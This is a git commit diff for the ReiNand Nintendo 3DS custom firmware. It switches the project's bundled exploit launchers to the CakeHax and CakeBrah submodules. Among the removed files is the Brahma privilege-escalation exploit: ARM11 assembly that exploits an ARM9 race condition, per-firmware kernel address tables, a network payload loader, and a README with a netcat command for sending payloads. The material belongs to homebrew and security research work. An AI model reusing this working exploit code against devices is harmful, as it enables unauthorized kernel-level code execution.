Got rid of sysnand mode, add key gen code, new splash screen, autoboot, update fatfs, removed ninjhax/mset folder for CakeBrah/CakeHax, lots of minor changes.

This commit is contained in:
Reisyukaku 2016-01-16 07:57:56 -05:00
parent 42df009858
commit 6a2c30503d
50 changed files with 822 additions and 4025 deletions

3
.gitignore vendored
View File

@ -1,7 +1,8 @@
build.bat
data/firmware.bin
out
mset
CakeHax
CakeBrah
rnInstaller
build
*.bin

9
.gitmodules vendored
View File

@ -1,3 +1,6 @@
[submodule "mset"]
path = mset
url = https://github.com/Reisyukaku/mset
[submodule "CakeBrah"]
path = CakeBrah
url = https://github.com/mid-kid/CakeBrah
[submodule "CakeHax"]
path = CakeHax
url = https://github.com/mid-kid/CakeHax

1
CakeBrah Submodule

@ -0,0 +1 @@
Subproject commit aca4aa7d3b3d2d195788c0b2555b307fbac63a7f

1
CakeHax Submodule

@ -0,0 +1 @@
Subproject commit 6b8fca0b37a370a605f76b34b133da91a0b40f5e

View File

@ -12,18 +12,20 @@ ifneq ($(PYTHON_VER_MAJOR), 3)
PYTHON3 := py -3
endif
name := ReiNand
dir_source := source
dir_data := data
dir_build := build
dir_mset := mset
dir_mset := CakeHax
dir_out := out
dir_emu := emunand
dir_thread := thread
dir_ninjhax := ninjhax
dir_ninjhax := CakeBrah
ASFLAGS := -mlittle-endian -mcpu=arm946e-s -march=armv5te
CFLAGS := -MMD -MP -marm $(ASFLAGS) -fno-builtin -fshort-wchar -std=c11 -Wno-main
FLAGS := dir_out=$(abspath $(dir_out))
CFLAGS := -Wall -Wextra -MMD -MP -marm $(ASFLAGS) -fno-builtin -fshort-wchar -std=c11 -Wno-main
FLAGS := name=$(name).dat dir_out=$(abspath $(dir_out)) ICON=$(abspath icon.png) --no-print-directory
objects_cfw = $(patsubst $(dir_source)/%.s, $(dir_build)/%.o, \
$(patsubst $(dir_source)/%.c, $(dir_build)/%.o, \
@ -34,7 +36,7 @@ objects_cfw = $(patsubst $(dir_source)/%.s, $(dir_build)/%.o, \
all: launcher emunand thread ninjhax
.PHONY: launcher
launcher: $(dir_out)/ReiNand.dat
launcher: $(dir_out)/$(name).dat
.PHONY: emunand
emunand: $(dir_out)/rei/emunand/emunand.bin
@ -43,7 +45,7 @@ emunand: $(dir_out)/rei/emunand/emunand.bin
thread: $(dir_out)/rei/thread/arm9.bin
.PHONY: ninjhax
ninjhax: $(dir_out)/3ds/ReiNand
ninjhax: $(dir_out)/3ds/$(name)
.PHONY: clean
clean:
@ -51,16 +53,16 @@ clean:
@$(MAKE) $(FLAGS) -C $(dir_ninjhax) clean
rm -rf $(dir_out) $(dir_build)
.PHONY: $(dir_out)/ReiNand.dat
$(dir_out)/ReiNand.dat: $(dir_build)/main.bin $(dir_out)/rei/
.PHONY: $(dir_out)/$(name).dat
$(dir_out)/$(name).dat: $(dir_build)/main.bin $(dir_out)/rei/
@$(MAKE) $(FLAGS) -C $(dir_mset) launcher
dd if=$(dir_build)/main.bin of=$@ bs=512 seek=144
$(dir_out)/3ds/ReiNand:
@mkdir -p "$(dir_out)/3ds/ReiNand"
@$(MAKE) -C $(dir_ninjhax)
@cp -av $(dir_ninjhax)/ReiNand.3dsx $@
@cp -av $(dir_ninjhax)/ReiNand.smdh $@
$(dir_out)/3ds/$(name):
@mkdir -p "$(dir_out)/3ds/$(name)"
@$(MAKE) $(FLAGS) -C $(dir_ninjhax)
@mv $(dir_out)/$(name).3dsx $@
@mv $(dir_out)/$(name).smdh $@
$(dir_out)/rei/: $(dir_data)/firmware.bin $(dir_data)/splash.bin
@mkdir -p "$(dir_out)/rei"

View File

@ -38,3 +38,5 @@ Pre-compiled version can still be found on my [pastebin](http://pastebin.com/c5A
Me (Rei) for coding everything else.
The community for your support and help!

Binary file not shown.

View File

Before

Width:  |  Height:  |  Size: 6.1 KiB

After

Width:  |  Height:  |  Size: 6.1 KiB

1
mset

@ -1 +0,0 @@
Subproject commit 1a62ee6dea17b0fb88224259d420ca7026bd636d

6
ninjhax/.gitignore vendored
View File

@ -1,6 +0,0 @@
*.elf
*.3dsx
*.smdh
build
output

3
ninjhax/.gitmodules vendored
View File

@ -1,3 +0,0 @@
[submodule "source/libkhax"]
path = source/libkhax
url = git://github.com/Myriachan/libkhax

View File

@ -1,179 +0,0 @@
#---------------------------------------------------------------------------------
.SUFFIXES:
#---------------------------------------------------------------------------------
ifeq ($(strip $(DEVKITARM)),)
$(error "Please set DEVKITARM in your environment. export DEVKITARM=<path to>devkitARM")
endif
TOPDIR ?= $(CURDIR)
include $(DEVKITARM)/3ds_rules
# This should be set externally
name ?= reiNand.dat
filepath ?=
dir_out ?= $(CURDIR)
#---------------------------------------------------------------------------------
# TARGET is the name of the output
# BUILD is the directory where object files & intermediate files will be placed
# SOURCES is a list of directories containing source code
# DATA is a list of directories containing data files
# INCLUDES is a list of directories containing header files
#
# NO_SMDH: if set to anything, no SMDH file is generated.
# APP_TITLE is the name of the app stored in the SMDH file (Optional)
# APP_DESCRIPTION is the description of the app stored in the SMDH file (Optional)
# APP_AUTHOR is the author of the app stored in the SMDH file (Optional)
# ICON is the filename of the icon (.png), relative to the project folder.
# If not set, it attempts to use one of the following (in this order):
# - <Project name>.png
# - icon.png
# - <libctru folder>/default_icon.png
#---------------------------------------------------------------------------------
TARGET := $(name:.dat=)
BUILD := build
SOURCES := source source/libkhax
DATA := data
INCLUDES := include
APP_TITLE ?= $(name:.dat=)
APP_DESCRIPTION ?= Privileged ARM11/ARM9 Code Execution
APP_AUTHOR ?= patois
#---------------------------------------------------------------------------------
# options for code generation
#---------------------------------------------------------------------------------
ARCH := -march=armv6k -mtune=mpcore -mfloat-abi=hard
CFLAGS := -g -Wall -Wextra -O3 -mword-relocations \
-fomit-frame-pointer -ffast-math \
$(ARCH)
CFLAGS += $(INCLUDE) -DARM11 -D_3DS -DARM_ARCH -DLAUNCHER_PATH='"$(filepath)$(name)"'
CXXFLAGS := $(CFLAGS) -fno-rtti -fno-exceptions -std=gnu++11
ASFLAGS := -g $(ARCH)
LDFLAGS = -specs=3dsx.specs -g $(ARCH) -Wl,-Map,$(notdir $*.map)
LIBS := -lctru -lm
#---------------------------------------------------------------------------------
# list of directories containing libraries, this must be the top level containing
# include and lib
#---------------------------------------------------------------------------------
LIBDIRS := $(CTRULIB)
#---------------------------------------------------------------------------------
# no real need to edit anything past this point unless you need to add additional
# rules for different file extensions
#---------------------------------------------------------------------------------
ifneq ($(BUILD),$(notdir $(CURDIR)))
#---------------------------------------------------------------------------------
export OUTPUT := $(dir_out)/$(TARGET)
export TOPDIR := $(CURDIR)
export VPATH := $(foreach dir,$(SOURCES),$(CURDIR)/$(dir)) \
$(foreach dir,$(DATA),$(CURDIR)/$(dir))
export DEPSDIR := $(CURDIR)/$(BUILD)
CFILES := $(foreach dir,$(SOURCES),$(notdir $(wildcard $(dir)/*.c)))
CPPFILES := $(foreach dir,$(SOURCES),$(notdir $(wildcard $(dir)/*.cpp)))
SFILES := $(foreach dir,$(SOURCES),$(notdir $(wildcard $(dir)/*.s)))
BINFILES := $(foreach dir,$(DATA),$(notdir $(wildcard $(dir)/*.*)))
#---------------------------------------------------------------------------------
# use CXX for linking C++ projects, CC for standard C
#---------------------------------------------------------------------------------
ifeq ($(strip $(CPPFILES)),)
#---------------------------------------------------------------------------------
export LD := $(CC)
#---------------------------------------------------------------------------------
else
#---------------------------------------------------------------------------------
export LD := $(CXX)
#---------------------------------------------------------------------------------
endif
#---------------------------------------------------------------------------------
export OFILES := $(addsuffix .o,$(BINFILES)) \
$(CPPFILES:.cpp=.o) $(CFILES:.c=.o) $(SFILES:.s=.o)
export INCLUDE := $(foreach dir,$(INCLUDES),-I$(CURDIR)/$(dir)) \
$(foreach dir,$(LIBDIRS),-I$(dir)/include) \
-I$(CURDIR)/$(BUILD)
export LIBPATHS := $(foreach dir,$(LIBDIRS),-L$(dir)/lib)
ifeq ($(strip $(ICON)),)
icons := $(wildcard *.png)
ifneq (,$(findstring $(TARGET).png,$(icons)))
export APP_ICON := $(TOPDIR)/$(TARGET).png
else
ifneq (,$(findstring icon.png,$(icons)))
export APP_ICON := $(TOPDIR)/icon.png
endif
endif
else
export APP_ICON := $(ICON)
endif
.PHONY: $(BUILD) clean all
#---------------------------------------------------------------------------------
all: $(BUILD)
$(BUILD):
@echo $(SFILES)
@[ -d $@ ] || mkdir -p $@
@make --no-print-directory -C $(BUILD) -f $(CURDIR)/Makefile
#---------------------------------------------------------------------------------
clean:
@echo clean ...
@rm -fr $(BUILD) $(OUTPUT).3dsx $(OUTPUT).smdh
#---------------------------------------------------------------------------------
else
DEPENDS := $(OFILES:.o=.d)
#---------------------------------------------------------------------------------
# main targets
#---------------------------------------------------------------------------------
ifeq ($(strip $(NO_SMDH)),)
.PHONY: all
all : $(OUTPUT).3dsx $(OUTPUT).smdh
endif
cpu.o cpu_threaded.o: CFLAGS += -Wno-unused-variable -Wno-unused-label
$(OUTPUT).3dsx : $(OFILES)
#---------------------------------------------------------------------------------
# you need a rule like this for each extension you use as binary data
#---------------------------------------------------------------------------------
%.bin.o : %.bin
#---------------------------------------------------------------------------------
@echo $(notdir $<)
@$(bin2o)
# WARNING: This is not the right way to do this! TODO: Do it right!
#---------------------------------------------------------------------------------
%.vsh.o : %.vsh
#---------------------------------------------------------------------------------
@echo $(notdir $<)
@python $(AEMSTRO)/aemstro_as.py $< ../$(notdir $<).shbin
@bin2s ../$(notdir $<).shbin | $(PREFIX)as -o $@
@echo "extern const u8" `(echo $(notdir $<).shbin | sed -e 's/^\([0-9]\)/_\1/' | tr . _)`"_end[];" > `(echo $(notdir $<).shbin | tr . _)`.h
@echo "extern const u8" `(echo $(notdir $<).shbin | sed -e 's/^\([0-9]\)/_\1/' | tr . _)`"[];" >> `(echo $(notdir $<).shbin | tr . _)`.h
@echo "extern const u32" `(echo $(notdir $<).shbin | sed -e 's/^\([0-9]\)/_\1/' | tr . _)`_size";" >> `(echo $(notdir $<).shbin | tr . _)`.h
@rm ../$(notdir $<).shbin
-include $(DEPENDS)
#---------------------------------------------------------------------------------------
endif
#---------------------------------------------------------------------------------------

View File

@ -1,121 +0,0 @@
Brahma - Privilege elevation exploit for the Nintendo 3DS
=========================================================
WTF is 'Brahma'?
----------------
Brahma is a development tool for the Nintendo 3DS platform that enables
privileged code execution on the ARM9 processor of the Nintendo 3DS platform.
It does so by exploiting two vulnerabilities in order to elevate its
privileges.
The exploits utilized by Brahma are based on "commercial" exploits that
have been reverse engineered. Brahma has been developed with the goal of
understanding and documenting the nature of the exploits in mind and has
been put further effort into during its development process in order to
achieve reliable exploitation and stability.
Brahma comes with full source code that is based on libctru and requires
existing user mode code execution privileges (Ninjhax), and can then be
used to further elevate privileges to ARM9 pre-kernel / SVC mode.
Also, "Brahma, the creator" is a god in hinduism that is often portrayed
with four heads and arms (heh... so funny :\).
How to build:
-------------
- Download and install devkitARM (http://devkitpro.org/wiki/Getting_Started)
- Open a shell and run make
How to use:
-----------
- Prebuilt binary releases are available at
https://github.com/patois/Brahma/releases
- Run brahma.3dsx (using homebrew launcher)
- By default, the exploit will attempt to gain ARM11 kernel privileges before
finally gaining ARM9 pre-kernel privileges (by performing a "firmlaunch")
"Hotkeys" (press and hold during startup of BRAHMA):
----------------------------------------------------
* LEFT : Loads 'arm9payload.bin' from the root folder of the 3DS' SD card
and executes it
* RIGHT : Performs a reboot / firm launch of the 3DS system
* NONE : Displays a menu which allows payload files to be received via
a WiFi network connection or loaded from the '/brahma' folder
located in the root folder of the SD card
In order to send payload files to the 3DS via a network connection,
the Python script '/tools/client.py' can be used. Alternatively, netcat
does the job as well.
Syntax:
-------
client.py: 'python client.py <3DS ip> <filename>'
netcat: 'nc <3DS ip> 80 < <filename>'
Examples:
---------
client.py: 'python client.py 10.0.0.5 payload.bin'
netcat: 'nc 10.0.0.5 80 < payload.bin'
Example programs that run in privileged ARM9 mode can be downloaded from
https://github.com/patois/3DSProjects/tree/master/Brahma/
A memory dumper (3DSDevTools) for Brahma is available at
https://github.com/patois/3DSDevTools/releases
There is also a port of Decrypt9 by archshift which can be loaded using
bootstrap or Brahma (use 'make' to build the project, then use one of the
methods supported by Brahma to load the Decrypt9 payload). Decrypt9 can be
downloaded from https://github.com/archshift/Decrypt9/tree/bootstrap
Developers:
-----------
Brahma and its exploits which enable privileged ARM9 code execution
on the Nintendo 3DS may also be used as a "library" (#include "brahma.h")
- call brahma_init() - initializes Brahma
- call load_arm9_payload() - loads a payload binary from disk
- call firm_reboot() - executes a payload binary (privileged ARM9 code)
- (please check the source code for more features and options)
ARM9 payload must consist of valid ARM9 executable code and will be
mapped to physical address 0x23F00000 during run-time. Its code should begin
with a branch instruction at offset 0 and a 'placeholder' for a u32
variable at offset 4, which will be filled by Brahma with a backup of
the original ARM9 entry point of the FIRM header during runtime.
Brahma is written in a way that allows developers of payload binaries
to easily return control to the 3DS' firmware by simply returning from
the main() function of the payload.
This allows reading and altering of memory contents, such as the mapped
Nintendo firmware (including ARM9 kernel, Process9, ARM11 kernel and several
processes running on the ARM11 core), for testing purposes, without requiring
any changes on the file system level.
Credits:
--------
- To 3dbrew.org and all its contributors for being such a great resource
- To whomever initially found the vulnerabilities and wrote the publicly
available exploit code
- To everybody who's been working on porting this exploit and its various
"bootstrap" branches to newer firmware versions and improving its stability
(in particular yifanlu, yuriks and shinyquagsire23)
- To everybody involved in creating libctru, Ninjhax and the Homebrew Menu
Disclaimer:
THIS SOFTWARE IS PROVIDED "AS IS" AND ANY EXPRESSED OR IMPLIED WARRANTIES,
INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND
FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE REGENTS
OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL,
EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT
OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS
INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN
CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING
IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY
OF SUCH DAMAGE.
(c) 2015, patois

View File

@ -1,23 +0,0 @@
CakeBrah
========
This is a fork of Brahma, that loads CakeHax payloads in the environment they expect.
This means mostly setting the framebuffer offsets and mode right.
How to use this in your project
-------------------------------
Look at [CakeHax](https://github.com/mid-kid/CakeHax) for this. It's pretty much the same.
No injection with dd is needed, as it loads the payload from your .dat file.
The different configuration flags are detailed below.
### Makefile options
Name |Default |Description
----------------|------------------------------------|-----------
dir\_out |$(CURDIR) |Where the output files should be placed (3dsx and smdh).
name |Cakes.dat |The name of the .dat file from which the payload will be loaded.
filepath | |Path in the SD card where the .dat file is located.
APP\_TITLE |Cakes |The title of the app shown in the Homebrew Menu.
APP\_DESCRIPTION|Privileged ARM11/ARM9 Code Execution|The description of the app shown in the Homebrew Menu.
APP\_AUTHOR |patois |The author of the app shown in the Homebrew Menu.

View File

@ -1,27 +0,0 @@
#pragma once
#include "exploitdata.h"
u32 brahma_init (void);
u32 brahma_exit (void);
s32 load_arm9_payload_offset (char *filename, u32 offset, u32 max_psize);
s32 load_arm9_payload_from_mem (u8* data, u32 dsize);
void redirect_codeflow (u32 *dst_addr, u32 *src_addr);
s32 map_arm9_payload (void);
s32 map_arm11_payload (void);
void exploit_arm9_race_condition (void);
s32 get_exploit_data (struct exploit_data *data);
s32 firm_reboot ();
#define load_arm9_payload(filename) load_arm9_payload_offset(filename, 0, 0)
#define BRAHMA_NETWORK_PORT 80
#define ARM_JUMPOUT 0xE51FF004 // LDR PC, [PC, -#04]
#define ARM_RET 0xE12FFF1E // BX LR
#define ARM_NOP 0xE1A00000 // NOP
extern void *arm11_start;
extern void *arm11_end;
extern void *arm9_start;
extern void *arm9_end;

View File

@ -1,189 +0,0 @@
#pragma once
#define SYS_MODEL_NONE 0
#define SYS_MODEL_OLD_3DS 1
#define SYS_MODEL_NEW_3DS 2
#define PA_EXC_HANDLER_BASE 0x1FFF4000
#define PA_FCRAM_BASE 0x20000000
#define OFFS_FCRAM_MAPPED_FIRM 0x04000000
#define OFFS_FCRAM_ARM9_PAYLOAD 0x03F00000
#define OFFS_EXC_HANDLER_UNUSED 0xC80
#if OFFS_FCRAM_ARM9_PAYLOAD >= OFFS_FCRAM_MAPPED_FIRM
#error ERRROR: Invalid ARM9 payload offset
#endif
#define ARM9_PAYLOAD_MAX_SIZE (OFFS_FCRAM_MAPPED_FIRM - OFFS_FCRAM_ARM9_PAYLOAD)
/* any changes to this structure must also be applied to
the data structure following the 'arm11_globals_start'
label of arm11.s */
struct arm11_shared_data {
u32 va_pdn_regs;
u32 va_pxi_regs;
u32 va_hook1_ret;
};
struct exploit_data {
u32 firm_version;
u32 sys_model; // mask
u32 va_patch_hook1;
u32 va_patch_hook2;
u32 va_hook1_ret;
u32 va_fcram_base;
u32 va_exc_handler_base_W;
u32 va_exc_handler_base_X;
u32 va_kernelsetstate;
u32 va_pdn_regs;
u32 va_pxi_regs;
};
// add all vulnerable systems below
static const struct exploit_data supported_systems[] = {
{
0x022E0000, // FIRM version
SYS_MODEL_NEW_3DS, // model
0xDFFE7A50, // VA of 1st hook for firmlaunch
0xDFFF4994, // VA of 2nd hook for firmlaunch
0xFFF28A58, // VA of return address from 1st hook
0xE0000000, // VA of FCRAM
0xDFFF4000, // VA of lower mapped exception handler base
0xFFFF0000, // VA of upper mapped exception handler base
0xFFF158F8, // VA of the KernelSetState syscall (upper mirror)
0xFFFBE000, // VA PDN registers
0xFFFC0000 // VA PXI registers
},
{
0x022C0600, // FIRM version
SYS_MODEL_NEW_3DS, // model
0xDFFE7A50, // VA of 1st hook for firmlaunch
0xDFFF4994, // VA of 2nd hook for firmlaunch
0xFFF28A58, // VA of return address from 1st hook
0xE0000000, // VA of FCRAM
0xDFFF4000, // VA of lower mapped exception handler base
0xFFFF0000, // VA of upper mapped exception handler base
0xFFF158F8, // VA of the KernelSetState syscall (upper mirror)
0xFFFBE000, // VA PDN registers
0xFFFC0000 // VA PXI registers
},
{
0x02220000,
SYS_MODEL_OLD_3DS | SYS_MODEL_NEW_3DS,
0xEFFE4DD4,
0xEFFF497C,
0xFFF84DDC,
0xF0000000,
0xEFFF4000,
0xFFFF0000,
0xFFF748C4,
0xFFFD0000,
0xFFFD2000
},
{
0x02230600,
SYS_MODEL_OLD_3DS | SYS_MODEL_NEW_3DS,
0xEFFE55BC,
0xEFFF4978,
0xFFF765C4,
0xF0000000,
0xEFFF4000,
0xFFFF0000,
0xFFF64B94,
0xFFFD0000,
0xFFFD2000
},
{
0x022E0000,
SYS_MODEL_OLD_3DS,
0xDFFE59D0,
0xDFFF4974,
0xFFF279D8,
0xE0000000,
0xDFFF4000,
0xFFFF0000,
0xFFF151C0,
0xFFFC2000,
0xFFFC4000
},
{
0x022C0600,
SYS_MODEL_OLD_3DS,
0xDFFE4F28,
0xDFFF4974,
0xFFF66F30,
0xE0000000,
0xDFFF4000,
0xFFFF0000,
0xFFF54BAC,
0xFFFBE000,
0xFFFC0000
},
{
0x02280000,
SYS_MODEL_OLD_3DS | SYS_MODEL_NEW_3DS,
0xEFFE5B30,
0xEFFF4978,
0xFFF76B38,
0xF0000000,
0xEFFF4000,
0xFFFF0000,
0xFFF64AAC,
0xFFFD0000,
0xFFFD2000
},
{
0x02270400,
SYS_MODEL_OLD_3DS | SYS_MODEL_NEW_3DS,
0xEFFE5B34,
0xEFFF4978,
0xFFF76B3C,
0xF0000000,
0xEFFF4000,
0xFFFF0000,
0xFFF64AB0,
0xFFFD0000,
0xFFFD2000
},
{
0x02250000,
SYS_MODEL_OLD_3DS | SYS_MODEL_NEW_3DS,
0xEFFE5AE8,
0xEFFF4978,
0xFFF76AF0,
0xF0000000,
0xEFFF4000,
0xFFFF0000,
0xFFF64A78,
0xFFFD0000,
0xFFFD2000
},
{
0x02260000,
SYS_MODEL_OLD_3DS | SYS_MODEL_NEW_3DS,
0xEFFE5AE8,
0xEFFF4978,
0xFFF76AF0,
0xF0000000,
0xEFFF4000,
0xFFFF0000,
0xFFF64A78,
0xFFFD0000,
0xFFFD2000
},
{
0x02240000,
SYS_MODEL_OLD_3DS | SYS_MODEL_NEW_3DS,
0xEFFE55B8,
0xEFFF4978,
0xFFF765C0,
0xF0000000,
0xEFFF4000,
0xFFFF0000,
0xFFF64B90,
0xFFFD0000,
0xFFFD2000
}
};

View File

@ -1,4 +0,0 @@
#pragma once
u32 wait_key (void);
void wait_any_key (void);

View File

@ -1,8 +0,0 @@
#pragma once
void InvalidateEntireInstructionCache (void);
void CleanEntireDataCache (void);
void dsb(void);
void DisableInterrupts (void);
void EnableInterrupts (void);
void InvalidateEntireDataCache (void);

View File

@ -1,173 +0,0 @@
.arm
.align 4
.code 32
.text
.global arm11_start
arm11_start:
B hook1
B hook2
hook1:
STMFD SP!, {R0-R12,LR}
MOV R0, #64
BL delay
MOV R0, #0
BL pxi_send
BL pxi_sync
MOV R0, #0x10000
BL pxi_send
BL pxi_recv
BL pxi_recv
BL pxi_recv
MOV R0, #2
BL pdn_send
MOV R0, #0
BL pdn_send
LDMFD SP!, {R0-R12,LR}
LDR R0, var_44836
STR R0, [R1]
LDR PC, va_hook1_ret
var_44836: .long 0x44836
@ copy hijack_arm9 routine and execute
hook2:
ADR R0, hijack_arm9
ADR R1, hijack_arm9_end
LDR R2, pa_hijack_arm9_dst
MOV R4, R2
BL copy_mem
MOV r0, #0
MCR p15, 0, r0, c7, c10, 0 @ Clean data cache
MCR p15, 0, r0, c7, c10, 4 @ Drain write buffer
MCR p15, 0, r0, c7, c5, 0 @ Flush instruction cache
BX R4
@ exploits a race condition in order
@ to take control over the arm9 core
hijack_arm9:
@ init
LDR R0, pa_arm11_code
MOV R1, #0
STR R1, [R0]
@ load physical addresses
LDR R10, pa_firm_header
LDR R9, pa_arm9_payload
LDR R8, pa_io_mem
@ send pxi cmd 0x44846
LDR R1, pa_pxi_regs
LDR R2, some_pxi_cmd
STR R2, [R1, #8]
wait_arm9_loop:
LDRB R0, [R8]
ANDS R0, R0, #1
BNE wait_arm9_loop
@ overwrite orig entry point with FCRAM addr
@ this exploits the race condition bug
STR R9, [R10, #0x0C]
LDR R0, pa_arm11_code
wait_arm11_loop:
LDR R1, [r0]
CMP R1, #0
BEQ wait_arm11_loop
BX R1
pa_hijack_arm9_dst: .long 0x1FFFFC00
pa_arm11_code: .long 0x1FFFFFF8
pa_pxi_regs: .long 0x10163000
some_pxi_cmd: .long 0x44846
pa_firm_header: .long 0x24000000
pa_arm9_payload: .long 0x23F00000
pa_io_mem: .long 0x10140000
hijack_arm9_end:
copy_mem:
SUB R3, R1, R0
MOV R1, R3,ASR#2
CMP R1, #0
BLE locret_FFFF0AC0
MOVS R1, R3,LSL#29
SUB R0, R0, #4
SUB R1, R2, #4
BPL loc_FFFF0AA0
LDR R2, [R0,#4]!
STR R2, [R1,#4]!
loc_FFFF0AA0:
MOVS R2, R3,ASR#3
BEQ locret_FFFF0AC0
loc_FFFF0AA8:
LDR R3, [R0,#4]
SUBS R2, R2, #1
STR R3, [R1,#4]
LDR R3, [R0,#8]!
STR R3, [R1,#8]!
BNE loc_FFFF0AA8
locret_FFFF0AC0:
BX LR
pdn_send:
LDR R1, va_pdn_regs
STRB R0, [R1, #0x230]
BX LR
pxi_send:
LDR R1, va_pxi_regs
loc_1020D0:
LDRH R2, [R1,#4]
TST R2, #2
BNE loc_1020D0
STR R0, [R1,#8]
MOV R0, #4
delay:
MOV R1, #0
MCR p15, 0, r1, c7, c10, 0
MCR p15, 0, r1, c7, c10, 4
loop:
SUBS R0, #1
BGT loop
BX LR
pxi_recv:
LDR R0, va_pxi_regs
loc_1020FC:
LDRH R1, [R0,#4]
TST R1, #0x100
BNE loc_1020FC
LDR R0, [R0,#0xC]
BX LR
pxi_sync:
LDR R0, va_pxi_regs
LDRB R1, [R0,#3]
ORR R1, R1, #0x40
STRB R1, [R0,#3]
BX LR
.global arm11_end
arm11_end:
.global arm11_globals_start
arm11_globals_start:
va_pdn_regs: .long 0
va_pxi_regs: .long 0
va_hook1_ret: .long 0
.global arm11_globals_end
arm11_globals_end:

View File

@ -1,380 +0,0 @@
#include <3ds.h>
#include <stdlib.h>
#include <stdio.h>
#include <string.h>
#include <malloc.h>
#include <dirent.h>
#include <unistd.h>
#include <sys/socket.h>
#include <sys/_default_fcntl.h>
#include <netinet/in.h>
#include <arpa/inet.h>
#include "brahma.h"
#include "exploitdata.h"
#include "utils.h"
#include "libkhax/khax.h"
static u8 *g_ext_arm9_buf;
static u32 g_ext_arm9_size = 0;
static s32 g_ext_arm9_loaded = 0;
static struct exploit_data g_expdata;
static struct arm11_shared_data g_arm11shared;
u32 frameBufferData[3];
/* should be the very first call. allocates heap buffer
for ARM9 payload */
u32 brahma_init (void) {
g_ext_arm9_buf = memalign(0x1000, ARM9_PAYLOAD_MAX_SIZE);
return (g_ext_arm9_buf != 0);
}
/* call upon exit */
u32 brahma_exit (void) {
if (g_ext_arm9_buf) {
free(g_ext_arm9_buf);
}
return 1;
}
/* overwrites two instructions (8 bytes in total) at src_addr
with code that redirects execution to dst_addr */
void redirect_codeflow (u32 *dst_addr, u32 *src_addr) {
*(src_addr + 1) = (u32)dst_addr;
*src_addr = ARM_JUMPOUT;
}
/* fills exploit_data structure with information that is specific
to 3DS model and firmware version
returns: 0 on failure, 1 on success */
s32 get_exploit_data (struct exploit_data *data) {
u32 fversion = 0;
u8 isN3DS = 0;
u32 i;
s32 result = 0;
u32 sysmodel = SYS_MODEL_NONE;
if(!data)
return result;
fversion = osGetFirmVersion();
APT_CheckNew3DS(&isN3DS);
sysmodel = isN3DS ? SYS_MODEL_NEW_3DS : SYS_MODEL_OLD_3DS;
/* copy platform and firmware dependent data */
for(i = 0; i < sizeof(supported_systems) / sizeof(supported_systems[0]); i++) {
if (supported_systems[i].firm_version == fversion &&
supported_systems[i].sys_model & sysmodel) {
memcpy(data, &supported_systems[i], sizeof(struct exploit_data));
result = 1;
break;
}
}
return result;
}
/* get system dependent data and set up ARM11 structures */
s32 setup_exploit_data (void) {
s32 result = 0;
if (get_exploit_data(&g_expdata)) {
/* copy data required by code running in ARM11 svc mode */
g_arm11shared.va_hook1_ret = g_expdata.va_hook1_ret;
g_arm11shared.va_pdn_regs = g_expdata.va_pdn_regs;
g_arm11shared.va_pxi_regs = g_expdata.va_pxi_regs;
result = 1;
}
return result;
}
/* TODO: network code might be moved somewhere else */
s32 recv_arm9_payload (void) {
s32 sockfd;
struct sockaddr_in sa;
u32 kDown, old_kDown;
s32 clientfd;
struct sockaddr_in client_addr;
u32 addrlen = sizeof(client_addr);
s32 sflags = 0;
if ((sockfd = socket(AF_INET, SOCK_STREAM, 0)) < 0) {
printf("[!] Error: socket()\n");
return 0;
}
bzero(&sa, sizeof(sa));
sa.sin_family = AF_INET;
sa.sin_port = htons(BRAHMA_NETWORK_PORT);
sa.sin_addr.s_addr = gethostid();
if (bind(sockfd, (struct sockaddr*)&sa, sizeof(sa)) != 0) {
printf("[!] Error: bind()\n");
close(sockfd);
return 0;
}
if (listen(sockfd, 1) != 0) {
printf("[!] Error: listen()\n");
close(sockfd);
return 0;
}
printf("[x] IP %s:%d\n", inet_ntoa(sa.sin_addr), BRAHMA_NETWORK_PORT);
g_ext_arm9_size = 0;
g_ext_arm9_loaded = 0;
sflags = fcntl(sockfd, F_GETFL);
if (sflags == -1) {
printf("[!] Error: fcntl() (1)\n");
close(sockfd);
}
fcntl(sockfd, F_SETFL, sflags | O_NONBLOCK);
hidScanInput();
old_kDown = hidKeysDown();
while (1) {
hidScanInput();
kDown = hidKeysDown();
if (kDown != old_kDown) {
printf("[!] Aborted\n");
close(sockfd);
return 0;
}
clientfd = accept(sockfd, (struct sockaddr*)&client_addr, &addrlen);
svcSleepThread(100000000);
if (clientfd > 0)
break;
}
printf("[x] Connection from %s:%d\n\n", inet_ntoa(client_addr.sin_addr),
ntohs(client_addr.sin_port));
s32 recvd;
u32 total = 0;
s32 overflow = 0;
while ((recvd = recv(clientfd, g_ext_arm9_buf + total,
ARM9_PAYLOAD_MAX_SIZE - total, 0)) != 0) {
if (recvd != -1) {
total += recvd;
printf(".");
}
if (total >= ARM9_PAYLOAD_MAX_SIZE) {
overflow = 1;
printf("[!] Error: invalid payload size\n");
break;
}
}
fcntl(sockfd, F_SETFL, sflags & ~O_NONBLOCK);
printf("\n\n[x] Received %u bytes in total\n", (unsigned int)total);
g_ext_arm9_size = overflow ? 0 : total;
g_ext_arm9_loaded = (g_ext_arm9_size != 0);
close(clientfd);
close(sockfd);
return g_ext_arm9_loaded;
}
/* reads ARM9 payload from a given path.
filename: full path of payload
offset: offset of the payload in the file
max_psize: the maximum size of the payload that should be loaded (if 0, ARM9_MAX_PAYLOAD_SIZE. Should be smaller than ARM9_MAX_PAYLOAD_SIZE)
returns: 0 on failure, 1 on success */
s32 load_arm9_payload_offset (char *filename, u32 offset, u32 max_psize) {
s32 result = 0;
u32 fsize = 0;
u32 psize = 0;
if (max_psize == 0 || max_psize > ARM9_PAYLOAD_MAX_SIZE)
max_psize = ARM9_PAYLOAD_MAX_SIZE;
if (!filename)
return result;
FILE *f = fopen(filename, "rb");
if (f) {
fseek(f , 0, SEEK_END);
fsize = ftell(f);
if (offset < fsize) {
psize = fsize - offset;
if (psize > max_psize)
psize = max_psize;
g_ext_arm9_size = psize;
